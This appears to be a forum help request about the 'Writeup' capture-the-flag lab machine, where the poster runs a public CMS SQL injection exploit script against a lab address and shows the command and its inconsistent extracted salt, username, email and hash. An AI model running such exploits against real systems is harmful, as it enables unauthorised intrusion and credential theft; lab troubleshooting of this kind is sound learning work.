Writeup machine - cms SQLi exploit inaccurate results

Hey everyone,
I used the SQLi exploit used in the official walk-through and by ippsec, but the output i got was inaccurate.

command i used
python2 46635.py -u http://10.10.10.138/writeup/

output i got
[+] Salt for password found: 5a599ef579066807
[+] Username found: j5
[+] Email found: jkre1
[*] Try: 62def4866937f08sp$

I tried couple of times and got different output every time but never got correct results(as the username:jkr), any idea what could be wrong or what am i doing incorrectly here?